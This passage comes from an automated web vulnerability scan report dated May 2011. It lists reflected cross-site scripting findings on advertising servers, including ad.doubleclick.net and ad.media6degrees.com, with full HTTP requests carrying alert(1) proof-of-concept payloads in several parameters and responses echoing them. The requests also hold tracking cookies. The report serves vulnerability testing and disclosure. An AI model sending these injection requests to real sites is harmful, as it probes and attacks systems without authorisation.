
Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N4568.ADCONION/B5119479.6

Issue detail

The value of the adid request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b0263'-alert(1)-'20c92e4f365 was submitted in the adid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N4568.ADCONION/B5119479.6;sz=160x600;click=http://ad.amgdgt.com/ads/t=c/s=AAAAAQAUEKeTjuLRzSJkz__TpD_.7yvkZZtnZW8sdXNhLHQsMTMwNTAzNDExMDQ3OSxjLDMyMTAxOCxwYyw3NTQzNCxhYywxNTc5MjIsbyxOMC1TMCxsLDU2OTQzLHBjbGljaywiaHR0cDovL2FkLmRvdWJsZWNsaWNrLm5ldC9jbGljaztoPXY4LzNiMDMvMy8wLyovYTsyMzk2MzczOTg7MC0wOzE7NTUyNzE4NTk7MjMyMS0xNjAvNjAwOzQwNjk0ODQ2LzQwNzEyNjMzLzE7dT0sbnMtMzc5NTcxNzNfMTMwNTAzNDEwNywxMWY4ZjMyODk0MDk4OWUsaXRkZXdlYixucy5pN2t0LWR4LjE2LWR4LjIzLWR4LjE3LW1tLmFnMS1tbS5hazEtbW0uYW0xLW1tLmFxMTt.b2t2PTtuZXQ9bnM7dT0sbnMtMzc5NTcxNzNfMTMwNTAzNDEwNywxMWY4ZjMyODk0MDk4OWUsaXRkZXdlYixucy5pN2t0LWR4LjE2LWR4LjIzLWR4LjE3LW1tLmFnMS1tbS5hazEtbW0uYW0xLW1tLmFxMTs7cHBvcz1hdGY7a3c9O3RpbGU9MztjbXc9bnVybDtzej0xMjB4NjAwLDE2MHg2MDA7bmV0PW5zO29yZDE9NDg4NTIxO2NvbnR4PWl0ZGV3ZWI7ZGM9dztidGc9bnMuaTdrdDtidGc9ZHguMTY7YnRnPWR4LjIzO2J0Zz1keC4xNztidGc9bW0uYWcxO2J0Zz1tbS5hazE7YnRnPW1tLmFtMTtidGc9bW0uYXExO35hb3B0PTYvMS9mZi8xO35zc2NzPT8iCg--/clkurl=http://p.brilig.com/contact/bct?pid=1396D8DB-964D-4D7C-9BB6-467005273112&_ct=pixel&adid=157922b0263'-alert(1)-'20c92e4f365&action=2&publisherid=75434&REDIR=;ord=1654768130? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.knowyourmobile.com/features/881740/google_io_what_to_expect.html?9024e%22-alert(1)-%22aa98b9cf3ba=1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA; id=22fba3001601008d|2895566/1020157/15103,1031442/454155/15097,1786739/600125/15097,799974/1016776/15096,2818894/957634/15096,2584283/504803/15096,865138/565971/15096,2789604/880805/15096,1359940/457091/15096,1672981/717726/15092,2716759/964419/15088|t=1303072660|et=730|cs=-8oc1u1u

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Tue, 10 May 2011 14:02:13 GMT
Content-Length: 9638

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
C4xNztidGc9bW0uYWcxO2J0Zz1tbS5hazE7YnRnPW1tLmFtMTtidGc9bW0uYXExO35hb3B0PTYvMS9mZi8xO35zc2NzPT8iCg--/clkurl=http://p.brilig.com/contact/bct?pid=1396D8DB-964D-4D7C-9BB6-467005273112&_ct=pixel&adid=157922b0263'-alert(1)-'20c92e4f365&action=2&publisherid=75434&REDIR=http%3a%2f%2fwww.htc.com/us/products/inspire-att%3F+extcid%3DAlwaysOn-Inspire-Disp\">
...[SNIP]...

4.91. http://ad.doubleclick.net/adj/N4568.ADCONION/B5119479.6 [publisherid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N4568.ADCONION/B5119479.6

Issue detail

The value of the publisherid request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 753f6'-alert(1)-'dfedef9c527 was submitted in the publisherid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N4568.ADCONION/B5119479.6;sz=160x600;click=http://ad.amgdgt.com/ads/t=c/s=AAAAAQAUEKeTjuLRzSJkz__TpD_.7yvkZZtnZW8sdXNhLHQsMTMwNTAzNDExMDQ3OSxjLDMyMTAxOCxwYyw3NTQzNCxhYywxNTc5MjIsbyxOMC1TMCxsLDU2OTQzLHBjbGljaywiaHR0cDovL2FkLmRvdWJsZWNsaWNrLm5ldC9jbGljaztoPXY4LzNiMDMvMy8wLyovYTsyMzk2MzczOTg7MC0wOzE7NTUyNzE4NTk7MjMyMS0xNjAvNjAwOzQwNjk0ODQ2LzQwNzEyNjMzLzE7dT0sbnMtMzc5NTcxNzNfMTMwNTAzNDEwNywxMWY4ZjMyODk0MDk4OWUsaXRkZXdlYixucy5pN2t0LWR4LjE2LWR4LjIzLWR4LjE3LW1tLmFnMS1tbS5hazEtbW0uYW0xLW1tLmFxMTt.b2t2PTtuZXQ9bnM7dT0sbnMtMzc5NTcxNzNfMTMwNTAzNDEwNywxMWY4ZjMyODk0MDk4OWUsaXRkZXdlYixucy5pN2t0LWR4LjE2LWR4LjIzLWR4LjE3LW1tLmFnMS1tbS5hazEtbW0uYW0xLW1tLmFxMTs7cHBvcz1hdGY7a3c9O3RpbGU9MztjbXc9bnVybDtzej0xMjB4NjAwLDE2MHg2MDA7bmV0PW5zO29yZDE9NDg4NTIxO2NvbnR4PWl0ZGV3ZWI7ZGM9dztidGc9bnMuaTdrdDtidGc9ZHguMTY7YnRnPWR4LjIzO2J0Zz1keC4xNztidGc9bW0uYWcxO2J0Zz1tbS5hazE7YnRnPW1tLmFtMTtidGc9bW0uYXExO35hb3B0PTYvMS9mZi8xO35zc2NzPT8iCg--/clkurl=http://p.brilig.com/contact/bct?pid=1396D8DB-964D-4D7C-9BB6-467005273112&_ct=pixel&adid=157922&action=2&publisherid=75434753f6'-alert(1)-'dfedef9c527&REDIR=;ord=1654768130? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.knowyourmobile.com/features/881740/google_io_what_to_expect.html?9024e%22-alert(1)-%22aa98b9cf3ba=1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA; id=22fba3001601008d|2895566/1020157/15103,1031442/454155/15097,1786739/600125/15097,799974/1016776/15096,2818894/957634/15096,2584283/504803/15096,865138/565971/15096,2789604/880805/15096,1359940/457091/15096,1672981/717726/15092,2716759/964419/15088|t=1303072660|et=730|cs=-8oc1u1u

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Tue, 10 May 2011 14:03:55 GMT
Content-Length: 9671

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
bS5hazE7YnRnPW1tLmFtMTtidGc9bW0uYXExO35hb3B0PTYvMS9mZi8xO35zc2NzPT8iCg--/clkurl=http://p.brilig.com/contact/bct?pid=1396D8DB-964D-4D7C-9BB6-467005273112&_ct=pixel&adid=157922&action=2&publisherid=75434753f6'-alert(1)-'dfedef9c527&REDIR=http%3a%2f%2fwww.htc.com/us/products/shift-sprint%3Fextcid%3DAlwaysOn-EvoShift-Disp\">
...[SNIP]...

4.92. http://ad.doubleclick.net/adj/N4568.ADCONION/B5119479.6 [publisherid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N4568.ADCONION/B5119479.6

Issue detail

The value of the publisherid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5d5c5"-alert(1)-"3b9f40985da was submitted in the publisherid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N4568.ADCONION/B5119479.6;sz=160x600;click=http://ad.amgdgt.com/ads/t=c/s=AAAAAQAUEKeTjuLRzSJkz__TpD_.7yvkZZtnZW8sdXNhLHQsMTMwNTAzNDExMDQ3OSxjLDMyMTAxOCxwYyw3NTQzNCxhYywxNTc5MjIsbyxOMC1TMCxsLDU2OTQzLHBjbGljaywiaHR0cDovL2FkLmRvdWJsZWNsaWNrLm5ldC9jbGljaztoPXY4LzNiMDMvMy8wLyovYTsyMzk2MzczOTg7MC0wOzE7NTUyNzE4NTk7MjMyMS0xNjAvNjAwOzQwNjk0ODQ2LzQwNzEyNjMzLzE7dT0sbnMtMzc5NTcxNzNfMTMwNTAzNDEwNywxMWY4ZjMyODk0MDk4OWUsaXRkZXdlYixucy5pN2t0LWR4LjE2LWR4LjIzLWR4LjE3LW1tLmFnMS1tbS5hazEtbW0uYW0xLW1tLmFxMTt.b2t2PTtuZXQ9bnM7dT0sbnMtMzc5NTcxNzNfMTMwNTAzNDEwNywxMWY4ZjMyODk0MDk4OWUsaXRkZXdlYixucy5pN2t0LWR4LjE2LWR4LjIzLWR4LjE3LW1tLmFnMS1tbS5hazEtbW0uYW0xLW1tLmFxMTs7cHBvcz1hdGY7a3c9O3RpbGU9MztjbXc9bnVybDtzej0xMjB4NjAwLDE2MHg2MDA7bmV0PW5zO29yZDE9NDg4NTIxO2NvbnR4PWl0ZGV3ZWI7ZGM9dztidGc9bnMuaTdrdDtidGc9ZHguMTY7YnRnPWR4LjIzO2J0Zz1keC4xNztidGc9bW0uYWcxO2J0Zz1tbS5hazE7YnRnPW1tLmFtMTtidGc9bW0uYXExO35hb3B0PTYvMS9mZi8xO35zc2NzPT8iCg--/clkurl=http://p.brilig.com/contact/bct?pid=1396D8DB-964D-4D7C-9BB6-467005273112&_ct=pixel&adid=157922&action=2&publisherid=754345d5c5"-alert(1)-"3b9f40985da&REDIR=;ord=1654768130? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.knowyourmobile.com/features/881740/google_io_what_to_expect.html?9024e%22-alert(1)-%22aa98b9cf3ba=1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA; id=22fba3001601008d|2895566/1020157/15103,1031442/454155/15097,1786739/600125/15097,799974/1016776/15096,2818894/957634/15096,2584283/504803/15096,865138/565971/15096,2789604/880805/15096,1359940/457091/15096,1672981/717726/15092,2716759/964419/15088|t=1303072660|et=730|cs=-8oc1u1u

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Tue, 10 May 2011 14:03:51 GMT
Content-Length: 9671

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
bS5hazE7YnRnPW1tLmFtMTtidGc9bW0uYXExO35hb3B0PTYvMS9mZi8xO35zc2NzPT8iCg--/clkurl=http://p.brilig.com/contact/bct?pid=1396D8DB-964D-4D7C-9BB6-467005273112&_ct=pixel&adid=157922&action=2&publisherid=754345d5c5"-alert(1)-"3b9f40985da&REDIR=http%3a%2f%2fwww.htc.com/us/products/shift-sprint%3Fextcid%3DAlwaysOn-EvoShift-Disp");
var fscUrl = url;
var fscUrlClickTagFound = false;
var wmode = "opaque";
var bg = "";
var dcallowscrip
...[SNIP]...

4.93. http://ad.doubleclick.net/adj/N4568.ADCONION/B5119479.6 [sz parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N4568.ADCONION/B5119479.6

Issue detail

The value of the sz request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c3563'-alert(1)-'03f18b81bfc was submitted in the sz parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N4568.ADCONION/B5119479.6;sz=160x600;click=http://ad.amgdgt.com/ads/t=c/s=AAAAAQAUEKeTjuLRzSJkz__TpD_.7yvkZZtnZW8sdXNhLHQsMTMwNTAzNDExMDQ3OSxjLDMyMTAxOCxwYyw3NTQzNCxhYywxNTc5MjIsbyxOMC1TMCxsLDU2OTQzLHBjbGljaywiaHR0cDovL2FkLmRvdWJsZWNsaWNrLm5ldC9jbGljaztoPXY4LzNiMDMvMy8wLyovYTsyMzk2MzczOTg7MC0wOzE7NTUyNzE4NTk7MjMyMS0xNjAvNjAwOzQwNjk0ODQ2LzQwNzEyNjMzLzE7dT0sbnMtMzc5NTcxNzNfMTMwNTAzNDEwNywxMWY4ZjMyODk0MDk4OWUsaXRkZXdlYixucy5pN2t0LWR4LjE2LWR4LjIzLWR4LjE3LW1tLmFnMS1tbS5hazEtbW0uYW0xLW1tLmFxMTt.b2t2PTtuZXQ9bnM7dT0sbnMtMzc5NTcxNzNfMTMwNTAzNDEwNywxMWY4ZjMyODk0MDk4OWUsaXRkZXdlYixucy5pN2t0LWR4LjE2LWR4LjIzLWR4LjE3LW1tLmFnMS1tbS5hazEtbW0uYW0xLW1tLmFxMTs7cHBvcz1hdGY7a3c9O3RpbGU9MztjbXc9bnVybDtzej0xMjB4NjAwLDE2MHg2MDA7bmV0PW5zO29yZDE9NDg4NTIxO2NvbnR4PWl0ZGV3ZWI7ZGM9dztidGc9bnMuaTdrdDtidGc9ZHguMTY7YnRnPWR4LjIzO2J0Zz1keC4xNztidGc9bW0uYWcxO2J0Zz1tbS5hazE7YnRnPW1tLmFtMTtidGc9bW0uYXExO35hb3B0PTYvMS9mZi8xO35zc2NzPT8iCg--/clkurl=http://p.brilig.com/contact/bct?pid=1396D8DB-964D-4D7C-9BB6-467005273112c3563'-alert(1)-'03f18b81bfc&_ct=pixel&adid=157922&action=2&publisherid=75434&REDIR=;ord=1654768130? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.knowyourmobile.com/features/881740/google_io_what_to_expect.html?9024e%22-alert(1)-%22aa98b9cf3ba=1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA; id=22fba3001601008d|2895566/1020157/15103,1031442/454155/15097,1786739/600125/15097,799974/1016776/15096,2818894/957634/15096,2584283/504803/15096,865138/565971/15096,2789604/880805/15096,1359940/457091/15096,1672981/717726/15092,2716759/964419/15088|t=1303072660|et=730|cs=-8oc1u1u

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Tue, 10 May 2011 14:00:56 GMT
Content-Length: 9697

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
7YnRnPWR4LjIzO2J0Zz1keC4xNztidGc9bW0uYWcxO2J0Zz1tbS5hazE7YnRnPW1tLmFtMTtidGc9bW0uYXExO35hb3B0PTYvMS9mZi8xO35zc2NzPT8iCg--/clkurl=http://p.brilig.com/contact/bct?pid=1396D8DB-964D-4D7C-9BB6-467005273112c3563'-alert(1)-'03f18b81bfc&_ct=pixel&adid=157922&action=2&publisherid=75434&REDIR=http%3a%2f%2fwww.htc.com/us/products/evo-sprint%3Fextcid062410disEvo\">
...[SNIP]...

4.94. http://ad.doubleclick.net/adj/N4568.ADCONION/B5119479.6 [sz parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N4568.ADCONION/B5119479.6

Issue detail

The value of the sz request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 60b27"-alert(1)-"5fbac40a was submitted in the sz parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N4568.ADCONION/B5119479.6;sz=160x600;click=http://ad.amgdgt.com/ads/t=c/s=AAAAAQAUEKeTjuLRzSJkz__TpD_.7yvkZZtnZW8sdXNhLHQsMTMwNTAzNDExMDQ3OSxjLDMyMTAxOCxwYyw3NTQzNCxhYywxNTc5MjIsbyxOMC1TMCxsLDU2OTQzLHBjbGljaywiaHR0cDovL2FkLmRvdWJsZWNsaWNrLm5ldC9jbGljaztoPXY4LzNiMDMvMy8wLyovYTsyMzk2MzczOTg7MC0wOzE7NTUyNzE4NTk7MjMyMS0xNjAvNjAwOzQwNjk0ODQ2LzQwNzEyNjMzLzE7dT0sbnMtMzc5NTcxNzNfMTMwNTAzNDEwNywxMWY4ZjMyODk0MDk4OWUsaXRkZXdlYixucy5pN2t0LWR4LjE2LWR4LjIzLWR4LjE3LW1tLmFnMS1tbS5hazEtbW0uYW0xLW1tLmFxMTt.b2t2PTtuZXQ9bnM7dT0sbnMtMzc5NTcxNzNfMTMwNTAzNDEwNywxMWY4ZjMyODk0MDk4OWUsaXRkZXdlYixucy5pN2t0LWR4LjE2LWR4LjIzLWR4LjE3LW1tLmFnMS1tbS5hazEtbW0uYW0xLW1tLmFxMTs7cHBvcz1hdGY7a3c9O3RpbGU9MztjbXc9bnVybDtzej0xMjB4NjAwLDE2MHg2MDA7bmV0PW5zO29yZDE9NDg4NTIxO2NvbnR4PWl0ZGV3ZWI7ZGM9dztidGc9bnMuaTdrdDtidGc9ZHguMTY7YnRnPWR4LjIzO2J0Zz1keC4xNztidGc9bW0uYWcxO2J0Zz1tbS5hazE7YnRnPW1tLmFtMTtidGc9bW0uYXExO35hb3B0PTYvMS9mZi8xO35zc2NzPT8iCg--/clkurl=http://p.brilig.com/contact/bct?pid=1396D8DB-964D-4D7C-9BB6-46700527311260b27"-alert(1)-"5fbac40a&_ct=pixel&adid=157922&action=2&publisherid=75434&REDIR=;ord=1654768130? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.knowyourmobile.com/features/881740/google_io_what_to_expect.html?9024e%22-alert(1)-%22aa98b9cf3ba=1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA; id=22fba3001601008d|2895566/1020157/15103,1031442/454155/15097,1786739/600125/15097,799974/1016776/15096,2818894/957634/15096,2584283/504803/15096,865138/565971/15096,2789604/880805/15096,1359940/457091/15096,1672981/717726/15092,2716759/964419/15088|t=1303072660|et=730|cs=-8oc1u1u

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Tue, 10 May 2011 14:00:52 GMT
Content-Length: 9629

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
7YnRnPWR4LjIzO2J0Zz1keC4xNztidGc9bW0uYWcxO2J0Zz1tbS5hazE7YnRnPW1tLmFtMTtidGc9bW0uYXExO35hb3B0PTYvMS9mZi8xO35zc2NzPT8iCg--/clkurl=http://p.brilig.com/contact/bct?pid=1396D8DB-964D-4D7C-9BB6-46700527311260b27"-alert(1)-"5fbac40a&_ct=pixel&adid=157922&action=2&publisherid=75434&REDIR=http%3a%2f%2fwww.htc.com/us/products/shift-sprint%3Fextcid%3DAlwaysOn-EvoShift-Disp");
var fscUrl = url;
var fscUrlClickTagFound = false;
var
...[SNIP]...

4.95. http://ad.media6degrees.com/adserv/cs [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.media6degrees.com
Path:	/adserv/cs

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 79fc4"-alert(1)-"37cdb737b1c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adserv/cs?tId=4601030440985026|cb=1305033249|adType=iframe|cId=5902|ec=1|spId=30811|advId=1209|exId=21|price=2.133250|pubId=625|secId=414|invId=3715|notifyServer=asd171.sd.pl.pvt|notifyPort=8080|bid=1.75|srcUrlEnc=http%3A%2F%2Fletters.salon.com%2Fpolitics%2Fwar_room%2F2011%2F05%2F09%2Fsantorum_loser%2Fview%2F&79fc4"-alert(1)-"37cdb737b1c=1 HTTP/1.1
Host: ad.media6degrees.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/607/salonmedia/160x600/above_fold?t=1305033247722&tz=300&hu=&ht=js&hp=0&url=http%3A%2F%2Fletters.salon.com%2Fpolitics%2Fwar_room%2F2011%2F05%2F09%2Fsantorum_loser%2Fview%2F&refer=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipinfo=2lkkjj40zijsvn5yhbqbe90httd3GK520752HF6QnyynflFbsgYnlreGrpuabybtvrf00; acs=016020a0e0f0g0h1ljtllpxzt1146caxzt1tr37xzt1tr37xzt1146caxzt113zye; adh=1lkkxr8160352rc011qy01mLlY5BlsL003xfa4w5q011qy01mLbKRCxkE003xf64qj9010gs02QopkpBIIf0002zwOyHUBHBSQ000000; clid=2ljtllp01170xrd52zkwjuxh146ca0153l080k0850r; rdrlst=42l157rlklhm40000000c3l08157olkxlm5000000073l0715holkxlm5000000073l0715sklkkpqq0000000k3l080m7alkkxrb0000000h3l0812nslkxrxz000000013l0113mklkxrxz000000013l010x1blkkpqq0000000k3l080hsplkkpqq0000000k3l080m7flkkyyl0000000f3l0812gdlkkyy00000000g3l0812zglkxrxz000000013l0113lxlkxrxz000000013l01148ilkxlm5000000073l070morlkkxrb0000000h3l0814k6lkxlm5000000073l0714rwlkxlm5000000073l0712yxlkxrxz000000013l0113x4lkxrxz000000013l011196lkkkbe0000000q3l0814khlkxlm5000000073l071195lkkpqh0000000l3l0815iglkxq0l000000033l031194lkkjj40000000r3l080dlxlkb5u20000000v3l0816nulkxlm5000000073l0714hplkxlm5000000073l0716s2lkxpyu000000043l040znmlk3462000000103l0814hclkxlm5000000073l071193lkkplo0000000n3l08102plkxrxz000000013l010p46lkkpqq0000000k3l081192lkkpke0000000p3l08008slklhm40000000c3l0816oilkxlm5000000073l070moylkl0r50000000d3l080p1blkb5u20000000v3l0810tylkkpku0000000o3l0800bvlk9pe80000000w3l0815xylk60qe0000000z3l0810lxlkxrxz000000013l0112ftlkxrxz000000013l0110poljyxb4000000123l08103blkxrxz000000013l010e6llkl0r50000000d3l0810telkd7nq0000000u3l0816rslkxppm000000053l050c9slk9pe80000000w3l08138olkxrxz000000013l01167ulkxq41000000023l0210rdlkdkly0000000s3l08126qlkxrxz000000013l010mj2lkkxrb0000000h3l0814qllkxlm5000000073l07159olk8fax0000000x3l0815halkxlm5000000073l070kualkkpqq0000000k3l08163plkxlm5000000073l070m0ulkl0r50000000d3l080m45lkl0r50000000d3l080m0plkkxrb0000000h3l080m40lkkxrb0000000h3l080zqylkxrxz000000013l0116e6lkxnbq000000063l060mjelkkxrb0000000h3l0814xnlkxlm5000000073l0712qnlkkplt0000000m3l08167blkl0r50000000d3l0812x6lkxrxz000000013l010bo8lkb5u20000000v3l080mjjlkl0r50000000d3l081391lkxrxz000000013l011672lkkxrb0000000h3l080lw5lkb5u20000000v3l080ycrlkncow0000000b3l0815k9lkxlm5000000073l0716atlkxlm5000000073l0713lelkxrxz000000013l011203lkb5u20000000v3l08163clkxlm5000000073l07137rlkkpqq0000000k3l081204lkkyy00000000g3l081240lkxrxz000000013l010o0vlkkpqx0000000j3l0814ozlkxlm5000000073l0714bmlkxrxz000000013l0114j7lkxlm5000000073l0714bzlkxlm5000000073l070z2ilkkxrb0000000h3l0813ovlkxrxz000000013l010ni1lkb5u20000000v3l0811pjlkxrxz000000013l01; sglst=2280sbpelkxlm5000000073l070k07507dsnlkxlm5006bu0073l070k07507arllkxlm5006bu0073l070k07507cg5lkxlm5006bu0073l070k075079rslkkpke0d2dl00p3l080k0850pam5lkkxr8002zw00i3l080k0850icd4lkxlm5006bu0073l070k07507crglkxlm5006bu0073l070k07507cnolkxlm5006bu0073l070k07507abelkxlm5006bu0073l070k07507dd8lkxlm5006bu0073l070k07507cy2lkxlm5006bu0073l070k07507aoplkb5u209jqc0063e000j00500cnxlkxlm5000000073l070k07507bq3lkxlm5006bu0073l070k07507aoilkxlm5006bu0073l070k07507bvplkxlm5006bu0073l070k07507942lkb5u20mfs300o3l000k005009ullkxlm5006bu0073l070k075078ndlkb5u20mfs300o3l000k00500bvclkxlm5006bu0073l070k07507c5flkxlm5006bu0073l070k0750756blkb5u20mfs300o3l000k00500bjqlkxlm5006bu0073l070k07507awklkxlm5006bu0073l070k07507asulkb5u209jqc0063e000j00500crplkxlm5006bu0073l070k07507asqlkxlm5006bu0073l070k07507c5rlkov6e0000000a3l080k0850aaw8lkxlm5006bu0073l070k07507c60lkxlm5006bu0073l070k07507dc4lkxlm5006bu0073l070k07507d26lkxlm5006bu0073l070k07507dnjlkxlm5006bu0073l070k07507brilkxlm5006bu0073l070k07507cbclkxlm5006bu0073l070k07507c85lkxlm5006bu0073l070k07507csslkxlm5006bu0073l070k07507c80lkb5u209jqc0063e000j00500ag2lkd7nq0kka900u3l080k0850rc1elkxlm5006bu0073l070k07507c81lkkpke0cw1r00i3l000k005009grlkxlm5006bu0073l070k07507c8flkxlm5006bu0073l070k07507a6slkkpke0cw1r00i3l000k00500dnalkxlm5006bu0073l070k075079z6lkxlm5000000073l070k07507dbtlkxlm5006bu0073l070k075079q4lkxlm5006bu0073l070k075070kllklhm40c4010053l000k00500dyllkxlm5006bu0073l070k07507b3zlkxlm5006bu0073l070k075079q5lkb5u20mfs300o3l000k005009mjlkxlm5000000073l070k07507dgflkkpke0d2dl00p3l080k0850p0t7ljyxb40yumv0123l080k0850rbo0lkb5u20mm3x00v3l080k0850rbo1lkkyy00cmo50093l000k005009pglkxlm5006bu0073l070k07507d86lklhm40c4010053l000k00500cwalkxlm5006bu0073l070k07507dqllkxlm5006bu0073l070k07507d84lkxlm5006bu0073l070k07507dz3lkxlm5006bu0073l070k07507cm6lkxlm5006bu0073l070k07507cxdlkxlm5006bu0073l070k07507719lkb5u20mm3x00d3l070k0750871alkkpke0cw1r00i3l000k00500ctplkxlm5006bu0073l070k07507cc3lkxlm5006bu0073l070k07507dgilkb5u209jqc0063e000j00500cthlkxlm5006bu0073l070k075074wclkb5u20mm3x00d3l070k07508a0ulkxlm5006bu0073l070k075075mrlkb5u20mfs300o3l000k005008eklkkpke0cw1r00i3l000k00500arilkxlm5000000073l070k07507cbplkxlm5006bu0073l070k07507bwjlkkyy00cszz00g3l080k0850g9gelkxlm5006bu0073l070k07507; vstcnt=417k010r164slly127p10f24exp6103210e24tc6l103210e24ru4y1032107249v4u10pj10e22te10tq10a24tmhw103210924f69z103210f24pq44103210a24n86o103210d24eflo218e104203210724eyja103210e24na8i103210e24mqca103210e24nsyl103210f24jxig103210f24f9wk103210i24fvio218e20e20f203210f24uzpw118e10f24l16a118e10f24fz24103210924e8bw103210824fsuv103210924fduc218e10a203210e24uzdp103210b24dret103210724gqhl103210923sti21hj10a203210e2451gt10pj10e24styu103210924cnyl103210g24o2lt103210a24fj52103210924nnav103210f24m1v2103210a24f7qr218e108203210924uzg6218e100203210024fgv9218e108203210a24tfmw103210b23l4f103210a24kd6k103210c24hqyp103210i2

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
P3P: CP="COM NAV INT STA NID OUR IND NOI"
Pragma: no-cache
Cache-Control: no-cache
Set-Cookie: adh=1lkkxr816044tm3012v701QWJzhCSHC00egus52rc011qy01mLlY5BlsL003xfa4w5q011qy01mLbKRCxkE003xf64qj9010gs02QopkpBIIf0002zwOyHUBHBSQ000000; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 13:25:12 GMT; Path=/
Set-Cookie: clid=2ljtllp01170xrd52zkwjuxh15t0b0163m010k0950s; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 13:25:12 GMT; Path=/
